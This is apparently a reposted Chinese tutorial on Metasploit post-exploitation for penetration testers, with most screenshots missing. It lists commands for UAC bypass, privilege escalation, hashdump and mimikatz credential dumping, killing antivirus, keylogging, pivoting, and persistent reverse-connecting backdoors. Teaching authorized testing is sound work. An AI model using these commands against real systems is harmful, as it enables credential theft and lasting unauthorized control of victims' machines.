超實用!手把手教你如何用MSF進行后滲透測試!


  在對目標進行滲透測試的時候,通常情況下,我們首先獲得的是一台web服務器的webshell或者反彈shell,如果權限比較低,則需要進行權限提升;后續需要對系統進行全面的分析,搞清楚系統的用途;如果目標處於一個內網環境中,那么我們就需要通過它對內網的其它終端進行信息收集和滲透測試,更全面地挖掘系統中存在的安全隱患。

  本期安仔課堂,ISEC實驗室的向老師為大家介紹如何使用MSF進行后滲透測試。

  一、獲取Meterpreter會話

  Meterpreter 是msf的一個payload,目標執行之后,我們會得到一個會話,和常見的shell會話類似,但是它的功能更加強大,它是執行后滲透測試的實施通道。

  1.直接獲取

  (1) 使用msfvenom生成payload

  常用命令:

image.png

  (2)本地監聽

  監聽需要用到msf的exploit/multi/handler模塊,使用show options查看需要設置的參數。重要的參數有三個:監聽使用的payload、本地ip、本地監聽端口。這些參數的值跟之前msfvenom使用的參數一樣。 

image.png

  (3)獲得會話

  將生成的exe文件或者其它類型的payload文件在目標上執行,就可以獲得一個meterpreter會話,之后就可以使用msf開展后滲透測試的相關工作。

image.png

  2.cmdshell升級為meterpreter

  如果最開始獲取的是cmdshell,后來發現這台機器非常適合作為測試其它終端的跳板,這個時候cmdshell的功能已經不能滿足需要,升級成meterpreter就十分有必要。

  (1)以ms17-010的利用為例,默認使用的payload返回的就是cmdshell

image.png

  (2)將該cmdshell升級成meterpreter

  命令:sessions-ucmdshell的id

image.png

image.png

  (3)查看是否升級成功

image.png

  二、提權

  通常webshell的權限都比較低,能夠執行的操作有限,沒法查看重要文件、修改系統信息、抓取管理員密碼和hash、安裝特殊程序等,所以我們需要獲取系統更高的權限。

  1.繞過UAC

  用戶帳戶控制(UAC)是微軟在 Windows Vista 以后版本引入的一種安全機制,有助於防止對系統進行未經授權的更改。應用程序和任務可始終在非管理員帳戶的安全上下文中運行,除非管理員專門給系統授予管理員級別的訪問權限。UAC 可以阻止未經授權的應用程序進行自動安裝,並防止無意中更改系統設置。

  msf提供了如下幾個模塊幫助繞過UAC:

image.png

 

  以exploit/windows/local/bypassuac_eventvwr為例,其它模塊的使用方法基本一致。

  (1)首先需要在meterpreter下執行background命令讓當前會話保存到后台。

image.png

  (2)使用sessions命令可以查看所有后台的會話,每個session對應一個id值,后面會經常用到。

image.png

  (3)使用use exploit/windows/local/bypassuac_eventvwr命令進入該模塊,使用show options查看需要設置的參數。

image.png

  (4)將參數session設置為1,直接運行exploit或者run命令,執行成功之后會返回一個新的meterpreter會話。

image.png

  (5)使用getuid命令查看當前用戶,此時仍然是普通用戶,再使用getsystem命令就可以提升到system權限了。

image.png

  2.利用系統漏洞提權

  無論是linux還是windows都出過很多高危的漏洞,我們可以利用它們進行權限提升,比如windows系統的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了這些漏洞的利用模塊。

  (1)使用search 補丁號進行搜索,就可以找到相關模塊,以ms13-081為例。

image.png

  (2)使用use exploit/windows/local/ms13_081_track_popup_menu命令進入該模塊,使用show options命令查看需要設置的參數。

image.png

  (3)使用set session 1命令設置后台的meterpreter會話id,再使用run命令運行,獲取的就是SYSTEM權限。

image.png

  三、進程遷移

  當meterpreter單獨作為一個進程運行時容易被發現,如果將它和系統經常運行的進程進行綁定,就能夠實現持久化。

  1.查看當前會話的進程id

  命令:getpid

image.png

  2.查看目標運行的進程

  命令:ps

image.png

  3.綁定進程

  命令:migratepid

image.png

  四、令牌假冒

  在用戶登錄windows操作系統時,系統都會給用戶分配一個令牌(Token),當用戶訪問系統資源時都會使用這個令牌進行身份驗證,功能類似於網站的session或者cookie。

msf提供了一個功能模塊可以讓我們假冒別人的令牌,實現身份切換,如果目標環境是域環境,剛好域管理員登錄過我們已經有權限的終端,那么就可以假冒成域管理員的角色。

  1.查看當前用戶

image.png

  圖20

  2.使用use incognito命令進入該模塊

image.png

  3.查看存在的令牌

  命令:list_tokens-u

image.png

  4.令牌假冒

  命令:impersonate_token用戶名

  注意用戶名的斜杠需要寫兩個。

image.png

  5.查看是否成功切換身份

image.png

  五、獲取憑證

  在內網環境中,一個管理員可能管理多台服務器,他使用的密碼有可能相同或者有規律,如果能夠得到密碼或者hash,再嘗試登錄內網其它服務器,可能取得意想不到的效果。

  1.使用meterpreter的run hashdump命令。

image.png

image.png

  2.使用load mimikatz加載mimikatz模塊,再使用help mimikatz查看支持的命令。

image.png

  3.使用wdigest命令獲取登錄過的用戶儲存在內存里的明文密碼。

image.png

  六、操作文件系統

  1.文件的基本操作

  ls:列出當前路徑下的所有文件和文件夾。

  pwd 或 getwd:查看當前路徑。

  search:搜索文件,使用search -h查看幫助。

  cat:查看文件內容,比如cat test.txt。

  edit:編輯或者創建文件。和Linux系統的vm命令類似,同樣適用於目標系統是windows的情況。

  rm:刪除文件。

  cd:切換路徑。

  mkdir:創建文件夾。

  rmdir:刪除文件夾。

  getlwd 或 lpwd:查看自己系統的當前路徑。

  lcd:切換自己當前系統的目錄。

  lls:顯示自己當前系統的所有文件和文件夾。

  2.文件的上傳和下載

  (1) upload

  格式:upload本地文件路徑目標文件路徑

image.png

  (2)download

  格式:download  目標文件路徑  本地文件路徑

image.png

  七、系統其它操作

  1.關閉防病毒軟件

  run killav

  run post/windows/manage/killav

  2.操作遠程桌面

  run post/windows/manage/enable_rdp開啟遠程桌面

  run post/windows/manage/enable_rdp username=test password=test添加遠程桌面的用戶(同時也會將該用戶添加到管理員組)

  3.截屏

  screenshot

  4.鍵盤記錄

  keyscan_start:開啟鍵盤記錄功能

  keyscan_dump:顯示捕捉到的鍵盤記錄信息

  keyscan_stop:停止鍵盤記錄功能

image.png

  5.執行程序

  execute -h 查看使用方法

  -H:創建一個隱藏進程

  -a:傳遞給命令的參數

  -i:跟進程進行交互

  -m:從內存中執行

  -t:使用當前偽造的線程令牌運行進程

  -s:在給定會話中執行進程

  例:execute -f c:/temp/hello.exe

  八、端口轉發和內網代理

  1.portfwd

  portfwd是meterpreter提供的端口轉發功能,在meterpreter下使用portfwd -h命令查看該命令的參數。

image.png

  常用參數:

  -l:本地監聽端口

  -r:內網目標的ip

  -p:內網目標的端口

image.png

  上面命令執行之后,會將10.1.1.3的3389端口轉發到本地的2222端口。

image.png

  2.pivot

  pivot是msf最常用的代理,可以讓我們使用msf提供的掃描模塊對內網進行探測。

  (1)首先需要在msf的操作界面下添加一個路由表。

  添加命令:route  add  內網ip  子網掩碼   session的id

  打印命令:route  print

image.png

  路由添加成功之后就可以在msf里訪問10.1.1.0/24這個網段。

  (2)建立socks代理。

  如果其它程序需要訪問這個內網環境,就可以建立socks代理。

  msf提供了3個模塊用來做socks代理。

  auxiliary/server/socks4a    

  use auxiliary/server/socks5    

  use auxiliary/server/socks_unc

  以auxiliary/server/socks4a為例,查看需要設置的參數。

image.png

  一共兩個參數:

  SRVHOST:監聽的ip地址,默認為0.0.0.0,一般不需要更改。

  SRVPORT:監聽的端口,默認為1080。

  直接運行run命令,就可以成功創建一個socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier進行使用。

  九、后門

  Meterpreter的shell運行在內存中,目標重啟就會失效,如果管理員給系統打上補丁,那么就沒辦法再次使用exploit獲取權限,所以需要持久的后門對目標進行控制。

  Msf提供了兩種后門,一種是metsvc(通過服務啟動),一種是persistence(支持多種方式啟動)。

  1.metsvc

  (1) 使用run metsvc -h查看幫助,一共有三個參數。

  -A:安裝后門后,自動啟動exploit/multi/handler模塊連接后門

  -h:查看幫助

  -r:刪除后門

  (2) 安裝后門

  命令:run metsvc

image.png

  命令運行成功后會在C:WindowsTEMP目錄下新建隨機名稱的文件夾,里面生成3個文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。

image.png

  同時會新建一個服務,顯示名稱為Meterpreter,服務名稱為metsvc,啟動類型為”自動”,綁定在31337端口。

image.png

  (3) 連接后門

  使用exploit/multi/handler模塊,payload設置為windows/metsvc_bind_tcp,設置目標ip和綁定端口31337。

image.png

  2.persistence

  (1) 使用run persistence -h查看參數。

  -A:安裝后門后,自動啟動exploit/multi/handler模塊連接后門

  -L:自啟動腳本的路徑,默認為%TEMP%

  -P:需要使用的payload,默認為windows/meterpreter/reverse_tcp

  -S:作為一個服務在系統啟動時運行(需要SYSTEM權限)

  -T:要使用的備用可執行模板

  -U:用戶登陸時運行

  -X:系統啟動時運行

  -i:后門每隔多少秒嘗試連接服務端

  -p:服務端監聽的端口

  -r:服務端ip

  (2) 生成后門

  命令:run persistence -X -i 10 -r 192.168.1.9 -p 4444

image.png

  (3) 連接后門

  使用exploit/multi/handler模塊,payload設置為windows/meterpreter/reverse_tcp,同時設置好服務端監聽ip和端口。

image.png


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM